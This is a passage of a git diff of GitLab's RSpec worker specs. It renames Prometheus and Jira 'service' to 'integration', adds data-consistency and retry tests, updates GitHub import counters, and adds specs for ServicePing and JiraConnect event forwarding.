it 'executes AssignResourceFromResourceGroupService' do
- expect_next_instance_of(Ci::ResourceGroups::AssignResourceFromResourceGroupService, resource_group.project, nil) do |service|
+ expect_next_instances_of(Ci::ResourceGroups::AssignResourceFromResourceGroupService, 2, resource_group.project, nil) do |service|
expect(service).to receive(:execute).with(resource_group)
end
@@ -22,7 +30,7 @@ RSpec.describe Ci::ResourceGroups::AssignResourceFromResourceGroupWorker do
end
context 'when build does not exist' do
- let(:resource_group_id) { 123 }
+ let(:resource_group_id) { non_existing_record_id }
it 'does not execute AssignResourceFromResourceGroupService' do
expect(Ci::ResourceGroups::AssignResourceFromResourceGroupService).not_to receive(:new)
diff --git a/spec/workers/clusters/applications/activate_service_worker_spec.rb b/spec/workers/clusters/applications/activate_service_worker_spec.rb
index 7b05b76bebc..019bfe7a750 100644
--- a/spec/workers/clusters/applications/activate_service_worker_spec.rb
+++ b/spec/workers/clusters/applications/activate_service_worker_spec.rb
@@ -4,8 +4,8 @@ require 'spec_helper'
RSpec.describe Clusters::Applications::ActivateServiceWorker, '#perform' do
context 'cluster exists' do
- describe 'prometheus service' do
- let(:service_name) { 'prometheus' }
+ describe 'prometheus integration' do
+ let(:integration_name) { 'prometheus' }
before do
create(:clusters_integrations_prometheus, cluster: cluster)
@@ -16,9 +16,9 @@ RSpec.describe Clusters::Applications::ActivateServiceWorker, '#perform' do
let(:project) { create(:project, group: group) }
let(:cluster) { create(:cluster_for_group, groups: [group]) }
- it 'ensures Prometheus service is activated' do
- expect { described_class.new.perform(cluster.id, service_name) }
- .to change { project.reload.prometheus_service&.active }.from(nil).to(true)
+ it 'ensures Prometheus integration is activated' do
+ expect { described_class.new.perform(cluster.id, integration_name) }
+ .to change { project.reload.prometheus_integration&.active }.from(nil).to(true)
end
end
@@ -26,9 +26,9 @@ RSpec.describe Clusters::Applications::ActivateServiceWorker, '#perform' do
let(:project) { create(:project) }
let(:cluster) { create(:cluster, projects: [project]) }
- it 'ensures Prometheus service is activated' do
- expect { described_class.new.perform(cluster.id, service_name) }
- .to change { project.reload.prometheus_service&.active }.from(nil).to(true)
+ it 'ensures Prometheus integration is activated' do
+ expect { described_class.new.perform(cluster.id, integration_name) }
+ .to change { project.reload.prometheus_integration&.active }.from(nil).to(true)
end
end
@@ -36,9 +36,9 @@ RSpec.describe Clusters::Applications::ActivateServiceWorker, '#perform' do
let(:project) { create(:project) }
let(:cluster) { create(:cluster, :instance) }
- it 'ensures Prometheus service is activated' do
- expect { described_class.new.perform(cluster.id, service_name) }
- .to change { project.reload.prometheus_service&.active }.from(nil).to(true)
+ it 'ensures Prometheus integration is activated' do
+ expect { described_class.new.perform(cluster.id, integration_name) }
+ .to change { project.reload.prometheus_integration&.active }.from(nil).to(true)
end
end
end
diff --git a/spec/workers/clusters/applications/deactivate_service_worker_spec.rb b/spec/workers/clusters/applications/deactivate_service_worker_spec.rb
index 4068c5c9eaa..77788cfa893 100644
--- a/spec/workers/clusters/applications/deactivate_service_worker_spec.rb
+++ b/spec/workers/clusters/applications/deactivate_service_worker_spec.rb
@@ -4,15 +4,15 @@ require 'spec_helper'
RSpec.describe Clusters::Applications::DeactivateServiceWorker, '#perform' do
context 'cluster exists' do
- describe 'prometheus service' do
- let(:service_name) { 'prometheus' }
+ describe 'prometheus integration' do
+ let(:integration_name) { 'prometheus' }
let!(:integration) { create(:clusters_integrations_prometheus, cluster: cluster) }
- context 'prometheus service exists' do
- let!(:prometheus_service) { create(:prometheus_service, project: project, manual_configuration: false, active: true) }
+ context 'prometheus integration exists' do
+ let!(:prometheus_integration) { create(:prometheus_integration, project: project, manual_configuration: false, active: true) }
before do
- integration.delete # prometheus service before save synchronises active stated with integration existence.
+ integration.delete # prometheus integration before save synchronises active stated with integration existence.
end
context 'cluster type: group' do
@@ -20,9 +20,9 @@ RSpec.describe Clusters::Applications::DeactivateServiceWorker, '#perform' do
let(:project) { create(:project, group: group) }
let(:cluster) { create(:cluster_for_group, groups: [group]) }
- it 'ensures Prometheus service is deactivated' do
- expect { described_class.new.perform(cluster.id, service_name) }
- .to change { prometheus_service.reload.active }.from(true).to(false)
+ it 'ensures Prometheus integration is deactivated' do
+ expect { described_class.new.perform(cluster.id, integration_name) }
+ .to change { prometheus_integration.reload.active }.from(true).to(false)
end
end
@@ -30,9 +30,9 @@ RSpec.describe Clusters::Applications::DeactivateServiceWorker, '#perform' do
let(:project) { create(:project) }
let(:cluster) { create(:cluster, projects: [project]) }
- it 'ensures Prometheus service is deactivated' do
- expect { described_class.new.perform(cluster.id, service_name) }
- .to change { prometheus_service.reload.active }.from(true).to(false)
+ it 'ensures Prometheus integration is deactivated' do
+ expect { described_class.new.perform(cluster.id, integration_name) }
+ .to change { prometheus_integration.reload.active }.from(true).to(false)
end
end
@@ -40,20 +40,20 @@ RSpec.describe Clusters::Applications::DeactivateServiceWorker, '#perform' do
let(:project) { create(:project) }
let(:cluster) { create(:cluster, :instance) }
- it 'ensures Prometheus service is deactivated' do
- expect { described_class.new.perform(cluster.id, service_name) }
- .to change { prometheus_service.reload.active }.from(true).to(false)
+ it 'ensures Prometheus integration is deactivated' do
+ expect { described_class.new.perform(cluster.id, integration_name) }
+ .to change { prometheus_integration.reload.active }.from(true).to(false)
end
end
end
- context 'prometheus service does not exist' do
+ context 'prometheus integration does not exist' do
context 'cluster type: project' do
let(:project) { create(:project) }
let(:cluster) { create(:cluster, projects: [project]) }
it 'does not raise errors' do
- expect { described_class.new.perform(cluster.id, service_name) }.not_to raise_error
+ expect { described_class.new.perform(cluster.id, integration_name) }.not_to raise_error
end
end
end
diff --git a/spec/workers/concerns/application_worker_spec.rb b/spec/workers/concerns/application_worker_spec.rb
index 29c69ff8b4b..ac4e4a682c8 100644
--- a/spec/workers/concerns/application_worker_spec.rb
+++ b/spec/workers/concerns/application_worker_spec.rb
@@ -176,6 +176,77 @@ RSpec.describe ApplicationWorker do
end
end
+ describe '.data_consistency' do
+ using RSpec::Parameterized::TableSyntax
+
+ where(:data_consistency, :sidekiq_option_retry, :expect_error) do
+ :delayed | false | true
+ :delayed | 0 | true
+ :delayed | 3 | false
+ :delayed | nil | false
+ :sticky | false | false
+ :sticky | 0 | false
+ :sticky | 3 | false
+ :sticky | nil | false
+ :always | false | false
+ :always | 0 | false
+ :always | 3 | false
+ :always | nil | false
+ end
+
+ with_them do
+ before do
+ worker.sidekiq_options retry: sidekiq_option_retry unless sidekiq_option_retry.nil?
+ end
+
+ context "when workers data consistency is #{params['data_consistency']}" do
+ it "#{params['expect_error'] ? '' : 'not to '}raise an exception" do
+ if expect_error
+ expect { worker.data_consistency data_consistency }
+ .to raise_error("Retry support cannot be disabled if data_consistency is set to :delayed")
+ else
+ expect { worker.data_consistency data_consistency }
+ .not_to raise_error
+ end
+ end
+ end
+ end
+ end
+
+ describe '.retry' do
+ using RSpec::Parameterized::TableSyntax
+
+ where(:data_consistency, :sidekiq_option_retry, :expect_error) do
+ :delayed | false | true
+ :delayed | 0 | true
+ :delayed | 3 | false
+ :sticky | false | false
+ :sticky | 0 | false
+ :sticky | 3 | false
+ :always | false | false
+ :always | 0 | false
+ :always | 3 | false
+ end
+
+ with_them do
+ before do
+ worker.data_consistency(data_consistency)
+ end
+
+ context "when retry sidekiq option is #{params['sidekiq_option_retry']}" do
+ it "#{params['expect_error'] ? '' : 'not to '}raise an exception" do
+ if expect_error
+ expect { worker.sidekiq_options retry: sidekiq_option_retry }
+ .to raise_error("Retry support cannot be disabled if data_consistency is set to :delayed")
+ else
+ expect { worker.sidekiq_options retry: sidekiq_option_retry }
+ .not_to raise_error
+ end
+ end
+ end
+ end
+ end
+
describe '.perform_async' do
shared_examples_for 'worker utilizes load balancing capabilities' do |data_consistency|
before do
diff --git a/spec/workers/concerns/gitlab/github_import/object_importer_spec.rb b/spec/workers/concerns/gitlab/github_import/object_importer_spec.rb
index 85e1721461f..4c96daea7b3 100644
--- a/spec/workers/concerns/gitlab/github_import/object_importer_spec.rb
+++ b/spec/workers/concerns/gitlab/github_import/object_importer_spec.rb
@@ -11,12 +11,8 @@ RSpec.describe Gitlab::GithubImport::ObjectImporter do
include(Gitlab::GithubImport::ObjectImporter)
- def counter_name
- :dummy_counter
- end
-
- def counter_description
- 'This is a counter'
+ def object_type
+ :dummy
end
def representation_class
@@ -42,7 +38,7 @@ RSpec.describe Gitlab::GithubImport::ObjectImporter do
end)
end
- describe '#import' do
+ describe '#import', :clean_gitlab_redis_shared_state do
let(:importer_class) { double(:importer_class, name: 'klass_name') }
let(:importer_instance) { double(:importer_instance) }
let(:project) { double(:project, full_path: 'foo/bar', id: 1) }
@@ -64,10 +60,6 @@ RSpec.describe Gitlab::GithubImport::ObjectImporter do
expect(importer_instance)
.to receive(:execute)
- expect(worker.counter)
- .to receive(:increment)
- .and_call_original
-
expect_next_instance_of(Gitlab::Import::Logger) do |logger|
expect(logger)
.to receive(:info)
@@ -90,6 +82,11 @@ RSpec.describe Gitlab::GithubImport::ObjectImporter do
end
worker.import(project, client, { 'number' => 10, 'github_id' => 1 })
+
+ expect(Gitlab::GithubImport::ObjectCounter.summary(project)).to eq({
+ 'fetched' => {},
+ 'imported' => { 'dummy' => 1 }
+ })
end
it 'logs error when the import fails' do
@@ -176,18 +173,4 @@ RSpec.describe Gitlab::GithubImport::ObjectImporter do
.to raise_error(KeyError, 'key not found: :github_id')
end
end
-
- describe '#counter' do
- it 'returns a Prometheus counter' do
- expect(worker)
- .to receive(:counter_name)
- .and_call_original
-
- expect(worker)
- .to receive(:counter_description)
- .and_call_original
-
- worker.counter
- end
- end
end
diff --git a/spec/workers/concerns/waitable_worker_spec.rb b/spec/workers/concerns/waitable_worker_spec.rb
index 5d08d38380a..824ae8fcf83 100644
--- a/spec/workers/concerns/waitable_worker_spec.rb
+++ b/spec/workers/concerns/waitable_worker_spec.rb
@@ -38,6 +38,12 @@ RSpec.describe WaitableWorker do
it 'inlines workloads <= 3 jobs' do
args_list = [[1], [2], [3]]
expect(worker).to receive(:bulk_perform_inline).with(args_list).and_call_original
+ expect(Gitlab::AppJsonLogger).to(
+ receive(:info).with(a_hash_including('message' => 'running inline',
+ 'class' => 'Gitlab::Foo::Bar::DummyWorker',
+ 'job_status' => 'running',
+ 'queue' => 'foo_bar_dummy'))
+ .exactly(3).times)
worker.bulk_perform_and_wait(args_list)
diff --git a/spec/workers/container_expiration_policies/cleanup_container_repository_worker_spec.rb b/spec/workers/container_expiration_policies/cleanup_container_repository_worker_spec.rb
index c399697cbe0..506124216af 100644
--- a/spec/workers/container_expiration_policies/cleanup_container_repository_worker_spec.rb
+++ b/spec/workers/container_expiration_policies/cleanup_container_repository_worker_spec.rb
@@ -413,20 +413,30 @@ RSpec.describe ContainerExpirationPolicies::CleanupContainerRepositoryWorker do
disabled_repository.project.container_expiration_policy.update_column(:enabled, false)
end
+ context 'counts and capacity' do
+ where(:scheduled_count, :unfinished_count, :capacity, :expected_count) do
+ 2 | 2 | 10 | 4
+ 2 | 0 | 10 | 2
+ 0 | 2 | 10 | 2
+ 4 | 2 | 2 | 4
+ 4 | 0 | 2 | 4
+ 0 | 4 | 2 | 4
+ end
+
+ with_them do
+ before do
+ allow(worker).to receive(:cleanup_scheduled_count).and_return(scheduled_count)
+ allow(worker).to receive(:cleanup_unfinished_count).and_return(unfinished_count)
+ end
+
+ it { is_expected.to eq(expected_count) }
+ end
+ end
+
context 'with container repositories waiting for cleanup' do
let_it_be(:unfinished_repositories) { create_list(:container_repository, 2, :cleanup_unfinished) }
it { is_expected.to eq(3) }
-
- it 'logs the work count' do
- expect_log_info(
- cleanup_scheduled_count: 1,
- cleanup_unfinished_count: 2,
- cleanup_total_count: 3
- )
-
- subject
- end
end
context 'with no container repositories waiting for cleanup' do
@@ -436,16 +446,6 @@ RSpec.describe ContainerExpirationPolicies::CleanupContainerRepositoryWorker do
end
it { is_expected.to eq(0) }
-
- it 'logs 0 work count' do
- expect_log_info(
- cleanup_scheduled_count: 0,
- cleanup_unfinished_count: 0,
- cleanup_total_count: 0
- )
-
- subject
- end
end
end
@@ -468,9 +468,4 @@ RSpec.describe ContainerExpirationPolicies::CleanupContainerRepositoryWorker do
it { is_expected.to eq(0) }
end
end
-
- def expect_log_info(structure)
- expect(worker.logger)
- .to receive(:info).with(worker.structured_payload(structure))
- end
end
diff --git a/spec/workers/container_expiration_policy_worker_spec.rb b/spec/workers/container_expiration_policy_worker_spec.rb
index 6f81d06f653..69ddbe5c0f4 100644
--- a/spec/workers/container_expiration_policy_worker_spec.rb
+++ b/spec/workers/container_expiration_policy_worker_spec.rb
@@ -113,8 +113,8 @@ RSpec.describe ContainerExpirationPolicyWorker do
context 'process stale ongoing cleanups' do
let_it_be(:stuck_cleanup) { create(:container_repository, :cleanup_ongoing, expiration_policy_started_at: 1.day.ago) }
- let_it_be(:container_repository) { create(:container_repository, :cleanup_scheduled) }
- let_it_be(:container_repository) { create(:container_repository, :cleanup_unfinished) }
+ let_it_be(:container_repository1) { create(:container_repository, :cleanup_scheduled) }
+ let_it_be(:container_repository2) { create(:container_repository, :cleanup_unfinished) }
it 'set them as unfinished' do
expect { subject }
@@ -137,5 +137,36 @@ RSpec.describe ContainerExpirationPolicyWorker do
expect(container_expiration_policy3.reload.enabled).to be false
end
end
+
+ context 'counts logging' do
+ let_it_be(:container_repository1) { create(:container_repository, :cleanup_scheduled) }
+ let_it_be(:container_repository2) { create(:container_repository, :cleanup_unfinished) }
+ let_it_be(:container_repository3) { create(:container_repository, :cleanup_unfinished) }
+
+ before do
+ ContainerExpirationPolicy.update_all(enabled: true)
+ container_repository1.project.container_expiration_policy.update_column(:next_run_at, 5.minutes.ago)
+ end
+
+ it 'logs all the counts' do
+ expect(worker).to receive(:log_extra_metadata_on_done).with(:cleanup_required_count, 1)
+ expect(worker).to receive(:log_extra_metadata_on_done).with(:cleanup_unfinished_count, 2)
+ expect(worker).to receive(:log_extra_metadata_on_done).with(:cleanup_total_count, 3)
+
+ subject
+ end
+
+ context 'with load balancing enabled' do
+ before do
+ allow(Gitlab::Database::LoadBalancing).to receive(:enable?).and_return(true)
+ end
+
+ it 'reads the counts from the replica' do
+ expect(Gitlab::Database::LoadBalancing::Session.current).to receive(:use_replicas_for_read_queries).and_call_original
+
+ subject
+ end
+ end
+ end
end
end
diff --git a/spec/workers/database/partition_management_worker_spec.rb b/spec/workers/database/partition_management_worker_spec.rb
new file mode 100644
index 00000000000..01b7f209b2d
--- /dev/null
+++ b/spec/workers/database/partition_management_worker_spec.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+require "spec_helper"
+
+RSpec.describe Database::PartitionManagementWorker do
+ describe '#perform' do
+ subject { described_class.new.perform }
+
+ let(:manager) { instance_double('PartitionManager', sync_partitions: nil) }
+ let(:monitoring) { instance_double('PartitionMonitoring', report_metrics: nil) }
+
+ before do
+ allow(Gitlab::Database::Partitioning::PartitionManager).to receive(:new).and_return(manager)
+ allow(Gitlab::Database::Partitioning::PartitionMonitoring).to receive(:new).and_return(monitoring)
+ end
+
+ it 'delegates to PartitionManager' do
+ expect(manager).to receive(:sync_partitions)
+
+ subject
+ end
+
+ it 'reports partition metrics' do
+ expect(monitoring).to receive(:report_metrics)
+
+ subject
+ end
+ end
+end
diff --git a/spec/workers/every_sidekiq_worker_spec.rb b/spec/workers/every_sidekiq_worker_spec.rb
index 34d42addef3..c75b9b43ef4 100644
--- a/spec/workers/every_sidekiq_worker_spec.rb
+++ b/spec/workers/every_sidekiq_worker_spec.rb
@@ -148,7 +148,9 @@ RSpec.describe 'Every Sidekiq worker' do
'Chaos::LeakMemWorker' => 3,
'Chaos::SleepWorker' => 3,
'ChatNotificationWorker' => false,
+ 'Ci::ArchiveTraceWorker' => 3,
'Ci::BatchResetMinutesWorker' => 10,
+ 'Ci::BuildFinishedWorker' => 3,
'Ci::BuildPrepareWorker' => 3,
'Ci::BuildScheduleWorker' => 3,
'Ci::BuildTraceChunkFlushWorker' => 3,
@@ -287,7 +289,7 @@ RSpec.describe 'Every Sidekiq worker' do
'Gitlab::PhabricatorImport::ImportTasksWorker' => 5,
'GitlabPerformanceBarStatsWorker' => 3,
'GitlabShellWorker' => 3,
- 'GitlabUsagePingWorker' => 3,
+ 'GitlabServicePingWorker' => 3,
'GroupDestroyWorker' => 3,
'GroupExportWorker' => false,
'GroupImportWorker' => false,
@@ -416,6 +418,7 @@ RSpec.describe 'Every Sidekiq worker' do
'ScanSecurityReportSecretsWorker' => 17,
'Security::AutoFixWorker' => 3,
'Security::StoreScansWorker' => 3,
+ 'Security::TrackSecureScansWorker' => 1,
'SelfMonitoringProjectCreateWorker' => 3,
'SelfMonitoringProjectDeleteWorker' => 3,
'ServiceDeskEmailReceiverWorker' => 3,
diff --git a/spec/workers/expire_pipeline_cache_worker_spec.rb b/spec/workers/expire_pipeline_cache_worker_spec.rb
index 6a1a95b8052..8c24aaa985b 100644
--- a/spec/workers/expire_pipeline_cache_worker_spec.rb
+++ b/spec/workers/expire_pipeline_cache_worker_spec.rb
@@ -50,7 +50,6 @@ RSpec.describe ExpirePipelineCacheWorker do
it_behaves_like 'worker with data consistency',
described_class,
- feature_flag: :load_balancing_for_expire_pipeline_cache_worker,
data_consistency: :delayed
end
end
diff --git a/spec/workers/gitlab/github_import/import_diff_note_worker_spec.rb b/spec/workers/gitlab/github_import/import_diff_note_worker_spec.rb
index 6476d82eb85..34073d0ea39 100644
--- a/spec/workers/gitlab/github_import/import_diff_note_worker_spec.rb
+++ b/spec/workers/gitlab/github_import/import_diff_note_worker_spec.rb
@@ -34,7 +34,7 @@ RSpec.describe Gitlab::GithubImport::ImportDiffNoteWorker do
expect(importer)
.to receive(:execute)
- expect(worker.counter)
+ expect(Gitlab::GithubImport::ObjectCounter)
.to receive(:increment)
.and_call_original
diff --git a/spec/workers/gitlab/github_import/import_issue_worker_spec.rb b/spec/workers/gitlab/github_import/import_issue_worker_spec.rb
index 9f5bd1d9e5e..dc0338eccad 100644
--- a/spec/workers/gitlab/github_import/import_issue_worker_spec.rb
+++ b/spec/workers/gitlab/github_import/import_issue_worker_spec.rb
@@ -37,7 +37,7 @@ RSpec.describe Gitlab::GithubImport::ImportIssueWorker do
expect(importer)
.to receive(:execute)
- expect(worker.counter)
+ expect(Gitlab::GithubImport::ObjectCounter)
.to receive(:increment)
.and_call_original
diff --git a/spec/workers/gitlab/github_import/import_note_worker_spec.rb b/spec/workers/gitlab/github_import/import_note_worker_spec.rb
index 94bc8e26e4a..bc254e6246d 100644
--- a/spec/workers/gitlab/github_import/import_note_worker_spec.rb
+++ b/spec/workers/gitlab/github_import/import_note_worker_spec.rb
@@ -32,7 +32,7 @@ RSpec.describe Gitlab::GithubImport::ImportNoteWorker do
expect(importer)
.to receive(:execute)
- expect(worker.counter)
+ expect(Gitlab::GithubImport::ObjectCounter)
.to receive(:increment)
.and_call_original
diff --git a/spec/workers/gitlab/github_import/import_pull_request_merged_by_worker_spec.rb b/spec/workers/gitlab/github_import/import_pull_request_merged_by_worker_spec.rb
index c799c676300..728b4c6b440 100644
--- a/spec/workers/gitlab/github_import/import_pull_request_merged_by_worker_spec.rb
+++ b/spec/workers/gitlab/github_import/import_pull_request_merged_by_worker_spec.rb
@@ -12,12 +12,4 @@ RSpec.describe Gitlab::GithubImport::ImportPullRequestMergedByWorker do
describe '#importer_class' do
it { expect(subject.importer_class).to eq(Gitlab::GithubImport::Importer::PullRequestMergedByImporter) }
end
-
- describe '#counter_name' do
- it { expect(subject.counter_name).to eq(:github_importer_imported_pull_requests_merged_by) }
- end
-
- describe '#counter_description' do
- it { expect(subject.counter_description).to eq('The number of imported GitHub pull requests merged by') }
- end
end
diff --git a/spec/workers/gitlab/github_import/import_pull_request_review_worker_spec.rb b/spec/workers/gitlab/github_import/import_pull_request_review_worker_spec.rb
index cd14d6631d5..0607add52cd 100644
--- a/spec/workers/gitlab/github_import/import_pull_request_review_worker_spec.rb
+++ b/spec/workers/gitlab/github_import/import_pull_request_review_worker_spec.rb
@@ -12,12 +12,4 @@ RSpec.describe Gitlab::GithubImport::ImportPullRequestReviewWorker do
describe '#importer_class' do
it { expect(subject.importer_class).to eq(Gitlab::GithubImport::Importer::PullRequestReviewImporter) }
end
-
- describe '#counter_name' do
- it { expect(subject.counter_name).to eq(:github_importer_imported_pull_request_reviews) }
- end
-
- describe '#counter_description' do
- it { expect(subject.counter_description).to eq('The number of imported GitHub pull request reviews') }
- end
end
diff --git a/spec/workers/gitlab/github_import/import_pull_request_worker_spec.rb b/spec/workers/gitlab/github_import/import_pull_request_worker_spec.rb
index 1238929fbcb..6fe9741075f 100644
--- a/spec/workers/gitlab/github_import/import_pull_request_worker_spec.rb
+++ b/spec/workers/gitlab/github_import/import_pull_request_worker_spec.rb
@@ -43,7 +43,7 @@ RSpec.describe Gitlab::GithubImport::ImportPullRequestWorker do
expect(importer)
.to receive(:execute)
- expect(worker.counter)
+ expect(Gitlab::GithubImport::ObjectCounter)
.to receive(:increment)
.and_call_original
diff --git a/spec/workers/gitlab/github_import/stage/finish_import_worker_spec.rb b/spec/workers/gitlab/github_import/stage/finish_import_worker_spec.rb
index 2615da2be15..8dea24dc74f 100644
--- a/spec/workers/gitlab/github_import/stage/finish_import_worker_spec.rb
+++ b/spec/workers/gitlab/github_import/stage/finish_import_worker_spec.rb
@@ -33,6 +33,10 @@ RSpec.describe Gitlab::GithubImport::Stage::FinishImportWorker do
message: 'GitHub project import finished',
import_stage: 'Gitlab::GithubImport::Stage::FinishImportWorker',
import_source: :github,
+ object_counts: {
+ 'fetched' => {},
+ 'imported' => {}
+ },
project_id: project.id,
duration_s: a_kind_of(Numeric)
)
diff --git a/spec/workers/gitlab/jira_import/stage/import_issues_worker_spec.rb b/spec/workers/gitlab/jira_import/stage/import_issues_worker_spec.rb
index f82f6ccd9d6..10702c17cb5 100644
--- a/spec/workers/gitlab/jira_import/stage/import_issues_worker_spec.rb
+++ b/spec/workers/gitlab/jira_import/stage/import_issues_worker_spec.rb
@@ -16,7 +16,7 @@ RSpec.describe Gitlab::JiraImport::Stage::ImportIssuesWorker do
let_it_be(:jira_import, reload: true) { create(:jira_import_state, :scheduled, project: project) }
before do
- stub_jira_service_test
+ stub_jira_integration_test
end
context 'when import did not start' do
@@ -25,7 +25,7 @@ RSpec.describe Gitlab::JiraImport::Stage::ImportIssuesWorker do
end
context 'when import started', :clean_gitlab_redis_cache do
- let_it_be(:jira_service) { create(:jira_service, project: project) }
+ let_it_be(:jira_integration) { create(:jira_integration, project: project) }
before do
jira_import.start!
diff --git a/spec/workers/gitlab/jira_import/stage/import_labels_worker_spec.rb b/spec/workers/gitlab/jira_import/stage/import_labels_worker_spec.rb
index 0b7a35a92e2..52c516b9ff9 100644
--- a/spec/workers/gitlab/jira_import/stage/import_labels_worker_spec.rb
+++ b/spec/workers/gitlab/jira_import/stage/import_labels_worker_spec.rb
@@ -21,10 +21,10 @@ RSpec.describe Gitlab::JiraImport::Stage::ImportLabelsWorker do
end
context 'when import started' do
- let!(:jira_service) { create(:jira_service, project: project) }
+ let!(:jira_integration) { create(:jira_integration, project: project) }
before do
- stub_jira_service_test
+ stub_jira_integration_test
jira_import.start!
diff --git a/spec/workers/gitlab_service_ping_worker_spec.rb b/spec/workers/gitlab_service_ping_worker_spec.rb
new file mode 100644
index 00000000000..abccc0dc967
--- /dev/null
+++ b/spec/workers/gitlab_service_ping_worker_spec.rb
@@ -0,0 +1,50 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe GitlabServicePingWorker, :clean_gitlab_redis_shared_state do
+ before do
+ allow_next_instance_of(ServicePing::SubmitService) { |service| allow(service).to receive(:execute) }
+ allow(subject).to receive(:sleep)
+ end
+
+ it 'does not run for GitLab.com' do
+ allow(Gitlab).to receive(:com?).and_return(true)
+ expect(ServicePing::SubmitService).not_to receive(:new)
+
+ subject.perform
+ end
+
+ it 'delegates to ServicePing::SubmitService' do
+ expect_next_instance_of(ServicePing::SubmitService) { |service| expect(service).to receive(:execute) }
+
+ subject.perform
+ end
+
+ it "obtains a #{described_class::LEASE_TIMEOUT} second exclusive lease" do
+ expect(Gitlab::ExclusiveLeaseHelpers::SleepingLock)
+ .to receive(:new)
+ .with(described_class::LEASE_KEY, hash_including(timeout: described_class::LEASE_TIMEOUT))
+ .and_call_original
+
+ subject.perform
+ end
+
+ it 'sleeps for between 0 and 60 seconds' do
+ expect(subject).to receive(:sleep).with(0..60)
+
+ subject.perform
+ end
+
+ context 'when lease is not obtained' do
+ before do
+ Gitlab::ExclusiveLease.new(described_class::LEASE_KEY, timeout: described_class::LEASE_TIMEOUT).try_obtain
+ end
+
+ it 'does not invoke ServicePing::SubmitService' do
+ allow_next_instance_of(ServicePing::SubmitService) { |service| expect(service).not_to receive(:execute) }
+
+ expect { subject.perform }.to raise_error(Gitlab::ExclusiveLeaseHelpers::FailedToObtainLockError)
+ end
+ end
+end
diff --git a/spec/workers/gitlab_usage_ping_worker_spec.rb b/spec/workers/gitlab_usage_ping_worker_spec.rb
deleted file mode 100644
index f282b20363c..00000000000
--- a/spec/workers/gitlab_usage_ping_worker_spec.rb
+++ /dev/null
@@ -1,50 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe GitlabUsagePingWorker, :clean_gitlab_redis_shared_state do
- before do
- allow_next_instance_of(SubmitUsagePingService) { |service| allow(service).to receive(:execute) }
- allow(subject).to receive(:sleep)
- end
-
- it 'does not run for GitLab.com' do
- allow(Gitlab).to receive(:com?).and_return(true)
- expect(SubmitUsagePingService).not_to receive(:new)
-
- subject.perform
- end
-
- it 'delegates to SubmitUsagePingService' do
- expect_next_instance_of(SubmitUsagePingService) { |service| expect(service).to receive(:execute) }
-
- subject.perform
- end
-
- it "obtains a #{described_class::LEASE_TIMEOUT} second exclusive lease" do
- expect(Gitlab::ExclusiveLeaseHelpers::SleepingLock)
- .to receive(:new)
- .with(described_class::LEASE_KEY, hash_including(timeout: described_class::LEASE_TIMEOUT))
- .and_call_original
-
- subject.perform
- end
-
- it 'sleeps for between 0 and 60 seconds' do
- expect(subject).to receive(:sleep).with(0..60)
-
- subject.perform
- end
-
- context 'when lease is not obtained' do
- before do
- Gitlab::ExclusiveLease.new(described_class::LEASE_KEY, timeout: described_class::LEASE_TIMEOUT).try_obtain
- end
-
- it 'does not invoke SubmitUsagePingService' do
- allow_next_instance_of(SubmitUsagePingService) { |service| expect(service).not_to receive(:execute) }
-
- expect { subject.perform }.to raise_error(Gitlab::ExclusiveLeaseHelpers::FailedToObtainLockError)
- end
- end
-end
diff --git a/spec/workers/jira_connect/forward_event_worker_spec.rb b/spec/workers/jira_connect/forward_event_worker_spec.rb
new file mode 100644
index 00000000000..adfc071779a
--- /dev/null
+++ b/spec/workers/jira_connect/forward_event_worker_spec.rb
@@ -0,0 +1,56 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe JiraConnect::ForwardEventWorker do
+ describe '#perform' do
+ let!(:jira_connect_installation) { create(:jira_connect_installation, instance_url: self_managed_url, client_key: client_key, shared_secret: shared_secret) }
+ let(:base_path) { '/-/jira_connect' }
+ let(:event_path) { '/-/jira_connect/events/uninstalled' }
+
+ let(:self_managed_url) { 'http://example.com' }
+ let(:base_url) { self_managed_url + base_path }
+ let(:event_url) { self_managed_url + event_path }
+
+ let(:client_key) { '123' }
+ let(:shared_secret) { '123' }
+
+ subject { described_class.new.perform(jira_connect_installation.id, base_path, event_path) }
+
+ it 'forwards the event including the auth header and deletes the installation' do
+ stub_request(:post, event_url)
+
+ expect(Atlassian::Jwt).to receive(:create_query_string_hash).with(event_url, 'POST', base_url).and_return('some_qsh')
+ expect(Atlassian::Jwt).to receive(:encode).with({ iss: client_key, qsh: 'some_qsh' }, shared_secret).and_return('auth_token')
+ expect { subject }.to change(JiraConnectInstallation, :count).by(-1)
+
+ expect(WebMock).to have_requested(:post, event_url).with(headers: { 'Authorization' => 'JWT auth_token' })
+ end
+
+ context 'when installation does not exist' do
+ let(:jira_connect_installation) { instance_double(JiraConnectInstallation, id: -1) }
+
+ it 'does nothing' do
+ expect { subject }.not_to change(JiraConnectInstallation, :count)
+ end
+ end
+
+ context 'when installation does not have an instance_url' do
+ let!(:jira_connect_installation) { create(:jira_connect_installation) }
+
+ it 'forwards the event including the auth header' do
+ expect { subject }.to change(JiraConnectInstallation, :count).by(-1)
+
+ expect(WebMock).not_to have_requested(:post, '*')
+ end
+ end
+
+ context 'when it fails to forward the event' do
+ it 'still deletes the installation' do
+ allow(Gitlab::HTTP).to receive(:post).and_raise(StandardError)
+
+ expect { subject }.to raise_error(StandardError).and change(JiraConnectInstallation, :count).by(-1)
+ end
+ end
+ end
+end
diff --git a/spec/workers/jira_connect/sync_branch_worker_spec.rb b/spec/workers/jira_connect/sync_branch_worker_spec.rb
index 7c715f36fb4..349ccd10694 100644
--- a/spec/workers/jira_connect/sync_branch_worker_spec.rb
+++ b/spec/workers/jira_connect/sync_branch_worker_spec.rb
@@ -5,6 +5,10 @@ require 'spec_helper'
RSpec.describe JiraConnect::SyncBranchWorker do
include AfterNextHelpers
+ it_behaves_like 'worker with data consistency',
+ described_class,
+ data_consistency: :delayed
+
describe '#perform' do
let_it_be(:group) { create(:group) }
let_it_be(:project) { create(:project, :repository, group: group) }
@@ -15,65 +19,59 @@ RSpec.describe JiraConnect::SyncBranchWorker do
let(:commit_shas) { %w(b83d6e3 5a62481) }
let(:update_sequence_id) { 1 }
+ def perform
+ described_class.new.perform(project_id, branch_name, commit_shas, update_sequence_id)
+ end
+
def expect_jira_sync_service_execute(args)
- expect_next_instances_of(JiraConnect::SyncService, IdempotentWorkerHelper::WORKER_EXEC_TIMES) do |instance|
